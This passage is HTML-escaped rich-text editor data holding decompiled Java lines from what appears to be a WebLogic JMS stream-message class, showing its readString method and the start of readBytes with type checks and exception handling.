var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dTYM-1677058245733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CdUt-1677058245732&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YnXP-1677058245735&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cOY8-1677058245734&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mcfm-1677058245737&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MkpB-1677058245736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E7at-1677058245739&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tO9E-1677058245738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd3(100), var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;By2s-1677058245741&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ap0b-1677058245740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mARJ-1677058245743&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4JlV-1677058245742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(100), var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Umm-1677058245745&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aaIR-1677058245744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNsb-1677058245747&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TcHt-1677058245746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4kPR-1677058245749&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3cjU-1677058245748&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XBsl-1677058245751&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ynbh-1677058245750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String readString() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVwX-1677058245758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cIsQ-1677058245757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte var1 = this.readType();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kka1-1677058245760&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TRx5-1677058245759&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Em0f-1677058245762&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6WGs-1677058245761&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PkVR-1677058245764&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e5iY-1677058245763&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            switch(var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5EH2-1677058245766&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V41c-1677058245765&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FP4O-1677058245768&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OhSA-1677058245767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readBoolean());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qlim-1677058245771&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zcRs-1677058245770&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JSbc-1677058245773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v3IJ-1677058245772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readByte());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l4c8-1677058245775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7EhW-1677058245774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gxz7-1677058245777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E40o-1677058245776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readChar());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MG4K-1677058245779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bMOu-1677058245778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 4:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uApd-1677058245781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJQz-1677058245780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readDouble());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R2Eb-1677058245783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oWEc-1677058245782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 5:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x2dv-1677058245785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;umGm-1677058245784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readFloat());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eAyo-1677058245787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOIc-1677058245786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 6:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zkLA-1677058245789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yRKH-1677058245788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uldj-1677058245791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ui6Z-1677058245790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 7:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0wRV-1677058245793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JPCT-1677058245792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readLong());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j8lE-1677058245795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Zd5t-1677058245794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 8:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yrJz-1677058245797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gXAM-1677058245796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return String.valueOf(this.bis.readShort());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zlPO-1677058245799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bXcI-1677058245798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 9:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MjtN-1677058245801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X5eA-1677058245800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.readStringInternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LWIF-1677058245803&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pDIv-1677058245802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 10:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;siSZ-1677058245805&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;crum-1677058245804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return this.readStringInternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGKW-1677058245807&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ta96-1677058245806&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 11:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PgZl-1677058245809&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CUy0-1677058245808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a2aY-1677058245811&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hbLw-1677058245810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.putTypeBack();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TC3N-1677058245813&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p1PT-1677058245812&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    String var2 = \&#34;\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2I0a-1677058245815&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k0HI-1677058245814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vhdZ-1677058245817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d5Bf-1677058245816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        var2 = \&#34;. Previous attempt to read bytes from the stream message is not complete. As per the JMS standard, if the readBytes method does not return the value -1, a subsequent readBytes call must be made in order to ensure that there are no more bytes left to be read in. For more information, see the JMS API doc for the method readBytes in interface StreamMessage\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bp1z-1677058245819&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vmAR-1677058245818&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VUnm-1677058245821&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mWxy-1677058245820&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nNp1-1677058245823&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mCYi-1677058245822&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var1), this.typeCodeToString(9)) + var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yu6p-1677058245825&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;m7P8-1677058245824&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                case 12:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gNq5-1677058245827&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bihf-1677058245826&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    return null;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bjg6-1677058245830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYdR-1677058245829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGXS-1677058245832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e21q-1677058245831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (EOFException var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GtV0-1677058245834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dBdB-1677058245833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.MessageEOFException(this.readPastEnd(), var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWxu-1677058245836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FY6B-1677058245835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var4) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m8fd-1677058245838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EX6l-1677058245837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new weblogic.jms.common.JMSException(this.streamReadError(), var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XRNq-1677058245840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Prz-1677058245839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WD3e-1677058245842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2B5D-1677058245841&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PH8V-1677058245844&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q15-1677058245843&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mgfD-1677058245846&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U5YE-1677058245845&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public int readBytes(byte[] var1) throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OsKN-1677058245848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L75w-1677058245847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        boolean var3 = true;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HycI-1677058245850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;De4R-1677058245849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F6rW-1677058245852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N0B8-1677058245851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new NullPointerException();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TzGa-1677058245854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GVwM-1677058245853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qma2-1677058245856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;i7PF-1677058245855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FHE8-1677058245858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eV4B-1677058245857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if (!this.readingByteArray) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VHev-1677058245860&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CHp2-1677058245859&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    byte var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rFmX-1677058245862&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Tzr-1677058245861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if ((var2 = this.readType()) != 11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BSXI-1677058245864&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Wzq-1677058245863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (var2 == 12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLTB-1677058245866&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ggHX-1677058245865&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            return -1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VtXi-1677058245868&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tm1l-1677058245867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eQy-1677058245870&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IYfo-1677058245869&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vBM0-1677058245872&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZqDG-1677058245871&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.bis.unput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M77-1677058245874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34hM-1677058245873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        throw new MessageFormatException(this.streamConversionError(this.typeCodeToString(var2), this.typeCodeToString(11)));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AJ6L-1677058245876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B49g-1677058245875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x2Bk-1677058245878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xVoN-1677058245877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g3qj-1677058245880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jnZn-1677058245879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.available_bytes = 